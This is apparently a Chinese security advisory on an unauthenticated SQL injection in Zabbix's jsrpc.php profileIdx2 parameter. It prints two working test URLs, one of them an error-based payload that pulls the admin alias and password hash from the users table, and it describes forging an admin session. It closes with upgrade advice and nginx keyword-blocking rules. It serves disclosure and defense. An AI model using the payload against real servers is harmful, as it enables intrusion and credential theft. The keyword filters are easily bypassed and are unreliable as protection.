8月16日,由三矛科技的外部威胁情报检测模块在fulldisclosure发现

8月17日,三矛科技通过微信公众号对该漏洞首次正式预警


漏洞概述

zabbix是一个开源的企业级性能监控解决方案。

官方网站:http://www.zabbix.com

zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,***者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。


影响程度

***成本:低

危害程度:高

是否登陆:不需要

影响范围:2.2.x, 3.0.0-3.0.3。(其他版本未经测试)


漏洞测试

在您的zabbix的地址后面加上如下url:

测试URL:

/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim

estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi

story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil

e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=

17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&

mark_color=1

输出结果:

ZABBIX 存在高危漏洞,尽快修补_第1张图片

 

ZABBIX 存在高危漏洞,尽快修补_第2张图片


 

测试URL

jsrpc.php?type=9&method=screen.get×tamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select%20(1)%20from%20users%20where%201=1%20aNd%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(substring((Select%20(select%20concat(alias,0x3a,passwd)%20from%20users%20limit%201)),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b))&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17%27

ZABBIX 存在高危漏洞,尽快修补_第3张图片

ZABBIX 存在高危漏洞,尽快修补_第4张图片

补充:

以上为仅为漏洞验证测试方式。

***者可以通过进一步构造语句进行错误型sql注射,无需获取和破解加密的管理员密码。

有经验的***者可以直接通过获取admin的sessionid来根据结构算法构造sid,替换cookie直接以管理员身份登陆。


python脚本测试:

ZABBIX 存在高危漏洞,尽快修补_第5张图片


修复方案

请尽快先去升级到最新版吧,据说3.0.4版本已经修补。。。

安全提示

监控系统监控着每个企业的核心资产,一旦被******控制,等同帮助***进一步***企业敞开了大门。

请大家务必重视,并尽快修补此漏洞。


临时补充解决方案

我现在用的是zabbix 3.0.3,这个漏洞好像还是存在的,所以如果你是nginx,可以在server段加下面试试,然后打开日志,看看有没有误判,这是临时暴力解决方案:

        if ($request_uri ~ ^(.+\.php)(.*)$) {
           set $req $2;
        }
        if ($req ~* "union[+|(%20)]") {
                return 503;
        }
        if ($req ~* "and[+|(%20)]") {
                return 503;
        }
        if ($req ~* "select[+|(%20)]") {
                return 503;
        }

或者

        if ($request_uri ~* "(cost\()|(concat\()") {
                return 404;
        }
        if ($request_uri ~* "[+|(%20)]union[+|(%20)]") {
                return 404;
        }
        if ($request_uri ~* "[+|(%20)]and[+|(%20)]") {
                return 404;
        }
        if ($request_uri ~* "[+|(%20)]select[+|(%20)]") {
                return 404;
        }
        if ( $query_string ~* ".*[;'<>].*" ){
                return 404;
        }


Zabbix禁用Guest账户,使用强密码,加SSL证书

这些方法可以解决以上问题。